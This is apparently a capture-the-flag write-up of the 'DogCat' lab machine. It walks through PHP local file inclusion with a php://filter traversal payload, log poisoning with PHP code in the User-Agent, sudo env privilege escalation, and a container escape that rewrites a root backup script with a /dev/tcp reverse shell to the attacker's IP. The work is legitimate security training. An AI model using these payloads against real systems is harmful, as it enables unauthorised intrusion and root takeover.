

# DogCat

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## Enumeration

### Nmap Scan

```
└─$ nmap -p22,80 -A dogcat.thm
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-01 14:12 IST
Nmap scan report for dogcat.thm (10.10.55.188)
Host is up (0.43s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
| 256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_ 256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
80/tcp    open  http     Apache httpd 2.4.38 ((Debian))
|_ http-title: dogcat
|_ http-server-header: Apache/2.4.38 (Debian)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 (98%), Linux 3.2 - 4.14 (96%), Linux 4.15 - 5.19 (96%), Linux 2.6.32 - 3.10 (96%), Android 9 - 10 (Linux 4.9 - 4.14) (96%), Linux 5.4 (94%), Linux 2.6.32 - 3.5 (94%), Linux 2.6.32 - 3.13 (94%), Adtran 424 RG FTTH gateway (92%), Sony X75CH-series Android TV (Android 5.0) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

- Check if password authentication is enabled for SSH
- Search for vhost and subdirectories for the web PORT


### SSH (22)

```
└─$ ssh root@dogcat.thm
The authenticity of host 'dogcat.thm (10.10.55.188)' can't be established.
ED25519 key fingerprint is SHA256:n5CordFNn/Cx4Uc1tZgKP3OYnc3+c6UW2qkYRhDvRes.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'dogcat.thm' (ED25519) to the list of known hosts.
root@dogcat.thm's password:
```


- Password authentication is enabled → brute forcing can be tried and password reuse need to be checked

# HTTP (80)

## Website Features/Info




The webpage is normal, with 2 options: one for dog and one for cat



On clicking the options, we are provided with images. The URL: ?view=dog or ?view=cat

## Sub-directories

cats	[Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 427ms]
server-status	[Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 427ms]
dogs	[Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 433ms]




No access to the subdirectories.

## Things to check


- Check for LFI

- Check for Log Poisoning


LFI attack




As mentioned, only dog and cat are allowed. Which means I have to use those specific word with the LFI payload.



So apparently, whatever is after view, it is trying to fetch for its PHP page.



Fetching dog.php returns a different image of a dog.




This base64 encode LFI method returns the content of dog.php

```

```

With this, we will get the index.php file as well.



```
<!DOCTYPE HTML>
<html>

<head>
  <title>dogcat</title>
  <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
  <h1>dogcat</h1>
  <i>a gallery of various dogs or cats</i>

  <div>
    <h2>What would you like to see?</h2>
    <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
    <?php
      function containsStr($str, $substr) {
        return strpos($str, $substr) !== false;
      }
      $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
      if(isset($_GET['view'])) {
        if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
          echo 'Here you go!';
          include $_GET['view'] . $ext;
        } else {
          echo 'Sorry, only dogs or cats are allowed.';
        }
      }
    ?>
  </div>
</body>

</html>
```

Findings (from trial and error and the source code)


- containsStr() function checks if the query parameter after “?view=” is either dog or cat
- A “.php” extension is added at the end of the query parameter.

We have to give the input such that .php is not considered when the file is fetched → use &ext at the end of the file name.

```
/?view=php://filter/convert.base64-encode/resource=dog/../../index.php/../../etc/passwd&ext
```


```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```

Log Poisoning Attack




I could read the log file. To test if Log Poisoning works, I will be injecting a simple PHP code

<?php system('echo "Hello World");?> in the User-Agent




So, it is vulnerable to Log Poisoning Attack


Exploitation



With this, I can try to get a reverse shell.



Uploaded a PHP reverse shell with this command.



shell.php is downloaded on the target machine. Now will fetch the file and get a reverse shell

```
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.4.101.169] from (UNKNOWN) [10.10.55.188] 39842
Linux e2540fa6876f 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 GNU/Linux
10:08:25 up 1:30, 0 users, load average: 0.00, 0.00, 0.00
USER      TTY      FROM            LOGIN@  IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
```

# Privilege Escalation

```
$ sudo -l
Matching Defaults entries for www-data on e2540fa6876f:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
```



User www-data may run the following commands on e2540fa6876f:

```
(root) NOPASSWD: /usr/bin/env
```

```
$ sudo env /bin/sh
id
uid=0(root) gid=0(root) groups=0(root)
```

I searched manually and with find command but couldn't get the fourth flag. Looks like we are in a container, which we have to bypass.

## Bypassing the container

```
ls -la
total 80
drwxr-xr-x  1 root root 4096 Jun  1 08:38 .
drwxr-xr-x  1 root root 4096 Jun  1 08:38 ..
-rwxr-xr-x  1 root root   0 Jun  1 08:38 .dockerenv
drwxr-xr-x  1 root root 4096 Feb 26  2020 bin
drwxr-xr-x  2 root root 4096 Feb  1  2020 boot
drwxr-xr-x  5 root root  340 Jun  1 08:38 dev
drwxr-xr-x  1 root root 4096 Jun  1 08:38 etc
drwxr-xr-x  2 root root 4096 Feb  1  2020 home
drwxr-xr-x  1 root root 4096 Feb 26  2020 lib
drwxr-xr-x  2 root root 4096 Feb 24  2020 lib64
drwxr-xr-x  2 root root 4096 Feb 24  2020 media
drwxr-xr-x  2 root root 4096 Feb 24  2020 mnt
drwxr-xr-x  1 root root 4096 Jun  1 08:38 opt
dr-xr-xr-x 114 root root   0 Jun  1 08:38 proc
drwx-----  1 root root 4096 Mar 10  2020 root
drwxr-xr-x  1 root root 4096 Feb 26  2020 run
drwxr-xr-x  1 root root 4096 Feb 26  2020 sbin
drwxr-xr-x  2 root root 4096 Feb 24  2020 srv
dr-xr-xr-x 13 root root   0 Jun  1 08:38 sys
drwxrwxrwt  1 root root 4096 Mar 10  2020 tmp
drwxr-xr-x  1 root root 4096 Feb 24  2020 usr
drwxr-xr-x  1 root root 4096 Feb 26  2020 var
```

.dockerenv → explains that we are in a docker container

```
pwd
/opt/backups
ls -l
total 2884
-rwxr--r-- 1 root root   69 Mar 10  2020 backup.sh
-rw-r--r-- 1 root root 2949120 Jun  1 10:15 backup.tar
cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
```

From the content of the [backup.sh](#) file, it looks like the root user outside the container owns this file. And as we are root in the container, we can change the content of the [backup.sh](#) file as it will only check if we are root or not and not which root. The backup is done automatically, but there was no cronjobs file in the container.

```
echo "#!/bin/bash" > backup.sh
echo "bash -c 'exec bash -i &>/dev/tcp/10.4.101.169/8001 <&1'" >> backup.sh
cat backup.sh
```

```
#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/10.4.101.169/8001 <&1'
```

Next we just have to wait for the cronjobs file to run the file and we will get the root shell.

```
└─$ nc -nlvp 8001
listening on [any] 8001 ...
connect to [10.4.101.169] from (UNKNOWN) [10.10.55.188] 37470
bash: cannot set terminal process group (8006): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# id
id
uid=0(root) gid=0(root) groups=0(root)
```